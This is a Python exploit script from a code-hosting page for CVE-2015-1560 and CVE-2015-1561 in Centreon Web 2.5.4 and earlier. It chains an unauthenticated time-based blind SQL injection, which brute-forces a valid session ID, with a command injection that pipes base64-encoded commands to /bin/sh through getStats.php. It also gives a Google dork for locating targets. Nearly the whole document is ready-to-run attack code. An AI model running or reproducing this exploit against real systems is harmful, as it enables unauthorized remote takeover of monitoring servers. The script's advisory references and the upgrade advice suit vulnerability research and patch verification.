-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathCVE-2015-1560-1561.py
321 lines (261 loc) · 12.6 KB
/
CVE-2015-1560-1561.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Date:
August 22th, 2017
Update:
November 30th, 2019
Name:
CVE-2015-1560, CVE-2015-1561 | Centreon Web Time-Based Blind SQLi to RCE
Version:
1.2
Description:
Centreon Web 2.5.4 and earlier is prone to multiple vulnerabilities, including unauthenticated
time-based blind SQL injection and authenticated remote system command execution. Combining
these 2 vulnerabilities, an unauthenticated attacker can take control of the web server.
Limitation:
This exploit works as long as there is a valid 'session_id' registered in the 'centreon.session' table.
Author:
iojymbo (@iojymbo)
Credit:
Huy-Ngoc DAU (@ngocdh)
Affected Products:
Centreon Web 2.5.4 and earlier
Advisories:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1560
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1561
Reference:
https://packetstormsecurity.com/files/132607/Merethis-Centreon-2.5.4-SQL-Injection-Remote-Command-Execution.html
Date of public disclosure:
July 8th, 2015
Google Dork:
intitle:"Centreon - IT & Network Monitoring" intext:"2004|2005-2008|2009|2010|2011|2012|2013|2014"
Usage:
Without 'session_id':
$ python CVE-2015-1560-1561.py -r <RHOST> -p <RPORT> -u <URI> -c <CMD> [-s / -ssl]
$ python CVE-2015-1560-1561.py -r 192.168.0.3 -p 80 -u /centreon/ -c id
With 'session_id':
$ python CVE-2015-1560-1561.py -r <RHOST> -p <RPORT> -u <URI> -c <CMD> -i <SESSION_ID> [-s / -ssl]
$ python CVE-2015-1560-1561.py -r 192.168.0.3 -p 80 -u /centreon/ -c id -i a2hlspgh62nd5cuvvpdhmm9r60
Tested against:
Centreon Web 2.5.4
Centreon Web 2.5.3
Solution:
Upgrade Centreon Web.
License:
Usage is provided under the WTFPL license.
'''
# Import modules
import argparse
import base64
import requests
import string
import time
# Disable all SSL warnings
try:
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:
pass
# Colors handling
is_colorama_loaded = False
try:
import colorama
colorama.init(autoreset=True)
is_colorama_loaded = True
except:
pass
class Symbols:
'''
Require module(s): colorama.
'''
if is_colorama_loaded:
done = colorama.Fore.GREEN + "[+] " + colorama.Fore.RESET
error = colorama.Fore.RED + "[-] " + colorama.Fore.RESET
info = colorama.Fore.YELLOW + "[!] " + colorama.Fore.RESET
run = colorama.Fore.BLUE + "[*] " + colorama.Fore.RESET
else:
done = "[+] "
error = "[-] "
info = "[!] "
run = "[*] "
class Toolbox:
'''
Require module(s): request, time.
'''
def http_get_request(self, string_host, string_port, string_full_uri, bool_ssl):
'''
Return response text and request elapsed time.
'''
target_url = ('https://' + string_host + ':' + string_port + string_full_uri) if bool_ssl else ('http://' + string_host + ':' + string_port + string_full_uri)
http_headers = {
'Accept' : '*/*',
'Cache-Control' : 'max-age=0',
'Host' : string_host,
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36'
}
try:
init_time = time.time()
response = requests.request(method='GET', url=target_url, headers=http_headers, verify=False)
return(response.text.encode('utf-8'), time.time() - init_time)
except requests.exceptions.ConnectionError:
return(None, 0.0)
def is_host_alive(self, string_host, string_port, string_centreon_uri, bool_ssl):
'''
Return 'True' and request elapsed time if remote host is alive.
'''
string_full_uri = string_centreon_uri + '/index.php'
response = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
return(True, response[1]) if (response[0] is not None) else (False, 0.0)
def normalize_uri(self, string_uri):
'''
Return an URI without last '/'.
'''
return(string_uri[:-1]) if (string_uri[len(string_uri)-1]) == '/' else (string_uri)
def url_encode(self, plain_string):
'''
Return an URL encoded string.
'''
return(''.join(hex(ord(char)).replace('0x','%') for char in plain_string))
class CVE_2015_1560:
'''
Require module(s): string.
'''
def __init__(self):
self.session_id_chars = string.digits + string.ascii_lowercase
self.session_id_lenght = 26
def create_encoded_payload(self, string_mysql_cmd, float_mysql_sleep):
'''
Return an URL encoded payload based on CVE-2015-1560 time-based blind SQLi vulnerability.
'''
plaintext_payload = '\'+IF(0<('
plaintext_payload += string_mysql_cmd
plaintext_payload += '),sleep('
plaintext_payload += str(float_mysql_sleep)
plaintext_payload += '),\'\')+\''
return(Toolbox().url_encode(plaintext_payload))
def is_vulnerable(self, string_host, string_port, string_centreon_uri, float_mysql_sleep, bool_ssl):
'''
Test if a valid 'session_id' is registered in the 'centreon.session' table.
'''
string_mysql_cmd = 'SELECT COUNT(session_id) FROM centreon.session'
string_payload = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_mysql_sleep)
string_full_uri = string_centreon_uri + '/include/common/XmlTree/GetXmlTree.php?sid=' + string_payload
response = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
return(response)
def exploit_blind_sqli(self, string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl):
'''
Exploit vulnerable URI '<VHOST>/include/common/XmlTree/GetXmlTree.php?sid='.
'''
string_full_uri = string_centreon_uri + '/include/common/XmlTree/GetXmlTree.php?sid=' + string_payload
response = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
return(True) if (response[1] > float_sqli_timeout) else (False)
def guess_session_id_chars(self, string_host, string_port, string_centreon_uri, float_sqli_timeout, bool_ssl):
'''
Guess potential characters on first 'session_id' available in the 'centreon.session' table.
'''
session_id_chars = ''
for char in self.session_id_chars:
string_mysql_cmd = 'SELECT LENGTH(session_id) FROM (SELECT session_id FROM centreon.session LIMIT 0,1) sub WHERE session_id LIKE BINARY "%' + char + '%"'
string_payload = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_sqli_timeout)
if(CVE_2015_1560().exploit_blind_sqli(string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl)):
session_id_chars += char
return(session_id_chars)
def brute_session_id(self, string_host, string_port, string_centreon_uri, string_session_id_chars, float_sqli_timeout, bool_ssl):
'''
Bruteforce first 'session_id' available in the 'centreon.session' table.
'''
session_id = ''
chars_step = 5
chars_parts = [string_session_id_chars[i:i + chars_step] for i in range(0, len(string_session_id_chars), chars_step)]
while len(session_id) < self.session_id_lenght:
for chars_part in chars_parts:
string_mysql_cmd = 'SELECT LENGTH(session_id) FROM (SELECT session_id FROM centreon.session LIMIT 0,1) sub WHERE session_id REGEXP "' + session_id + '[' + chars_part + ']"'
string_payload = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_sqli_timeout)
if(CVE_2015_1560().exploit_blind_sqli(string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl)):
for char in chars_part:
string_mysql_cmd = 'SELECT LENGTH(session_id) FROM (SELECT session_id FROM centreon.session LIMIT 0,1) sub WHERE session_id LIKE BINARY "' + session_id + char + '%"'
string_payload = CVE_2015_1560().create_encoded_payload(string_mysql_cmd, float_sqli_timeout)
if(CVE_2015_1560().exploit_blind_sqli(string_host, string_port, string_centreon_uri, string_payload, float_sqli_timeout, bool_ssl)):
session_id += char
return(session_id)
class CVE_2015_1561:
'''
Require module(s): base64.
'''
def create_rce_payload(self, string_rce_cmd, string_session_id):
'''
Return an URL encoded payload based on CVE-2015-1561 command injection vulnerability.
'''
plaintext_payload = '|echo ' + base64.b64encode(string_rce_cmd) + '|base64 -d|/bin/sh #'
encoded_payload = Toolbox().url_encode(plaintext_payload)
return(encoded_payload + '&key=active_service_check&start=today&session_id=' + string_session_id)
def exploit_rce_cmd(self, string_host, string_port, string_centreon_uri, string_rce_cmd, string_session_id, bool_ssl):
'''
Exploit vulnerable URI '<VHOST>/include/Administration/corePerformance/getStats.php?ns_id='.
'''
string_payload = CVE_2015_1561().create_rce_payload(string_rce_cmd, string_session_id)
string_full_uri = string_centreon_uri + '/include/Administration/corePerformance/getStats.php?ns_id=' + string_payload
response = Toolbox().http_get_request(string_host, string_port, string_full_uri, bool_ssl)
return(response[0])
# Main
def main():
'''
Require module(s): argparse.
'''
# Banner.
print("\n" + "[ CVE-2015-1560, CVE-2015-1561 | Centreon Web Time-Based Blind SQLi to RCE | @iojymbo ]".center(100, '-') + "\n")
# Declare arguments.
parser = argparse.ArgumentParser()
parser.add_argument("-r","--remote-host", action='store' , dest='rhost', required=True)
parser.add_argument("-p","--port" , action='store' , dest='rport', required=True)
parser.add_argument("-u","--uri" , action='store' , dest='uri' , required=True)
parser.add_argument("-c","--cmd" , action='store' , dest='cmd' , required=True)
parser.add_argument("-i","--id" , action='store' , dest='id' , required=False)
parser.add_argument("-s","--ssl" , action='store_true', dest='ssl' , required=False)
args = parser.parse_args()
# Start attack.
if (args.ssl):
print(Symbols.info + "Targeting %s on port %s through '%s' uri (SSL mode is enable)" % (args.rhost, args.rport, args.uri))
else:
print(Symbols.info + "Targeting %s on port %s through '%s' uri (SSL mode is disable)" % (args.rhost, args.rport, args.uri))
# Normalize URI.
args.uri = Toolbox().normalize_uri(args.uri)
# Is host reachable ?
print(Symbols.run + "Testing if remote host is reachable...")
is_host_alive = Toolbox().is_host_alive(args.rhost, args.rport, args.uri, args.ssl)
if not (is_host_alive[0]):
print(Symbols.error + "Remote host is not reachable!")
quit()
# No session id ?
if not (args.id):
print(Symbols.run + "Testing if remote host is vulnerable to CVE-2015-1560...")
# Adjusting the MySQL 'sleep' timeout by multiplying by 4 the elapsed time of the previous request.
sqli_timeout = round(is_host_alive[1] * 4, 1)
is_vulnerable = CVE_2015_1560().is_vulnerable(args.rhost, args.rport, args.uri, sqli_timeout, args.ssl)
# Is vulnerable ?
if (is_vulnerable[1] > sqli_timeout):
print(Symbols.done + "Remote host is vulnerable, time-based SQLi payload adjusted to %s seconds" % (sqli_timeout))
# Guess potential characters and bruteforce with them.
print(Symbols.run + "Guessing first 'session_id' characters available in the 'centreon.session' table...")
guess_id_chars = CVE_2015_1560().guess_session_id_chars(args.rhost, args.rport, args.uri, sqli_timeout, args.ssl)
print(Symbols.info + "Found valid characters string: %s" % (guess_id_chars))
print(Symbols.run + "Bruteforcing first 'session_id' string available in the 'centreon.session' table...")
brute_id_chars = CVE_2015_1560().brute_session_id(args.rhost, args.rport, args.uri, guess_id_chars, sqli_timeout, args.ssl)
print(Symbols.done + "Found valid 'session_id' string: %s" % (brute_id_chars))
# Set bruteforced 'session_id' string.
args.id = brute_id_chars
else:
print(Symbols.error + "Remote host is not vulnerable or no valid session registered in the 'centreon.session' table!")
# Launch remote command(s) injection.
print(Symbols.run + "Injecting command(s) on remote host through CVE-2015-1561...")
rce_cmd = CVE_2015_1561().exploit_rce_cmd(args.rhost, args.rport, args.uri, 'echo CVE-2015-1561;' + args.cmd, args.id, args.ssl)
if ('CVE-2015-1561' in rce_cmd):
print("-" * 100 + "\n"+ (rce_cmd.split('\n',1)[1]) + "-" * 100)
print(Symbols.done + "Command(s) executed on remote host")
else:
print(Symbols.error + "Remote host is not vulnerable or current 'session_id' unregistered in the 'centreon.session' table!")
# Run main()
if (__name__ == '__main__'):
main()
quit()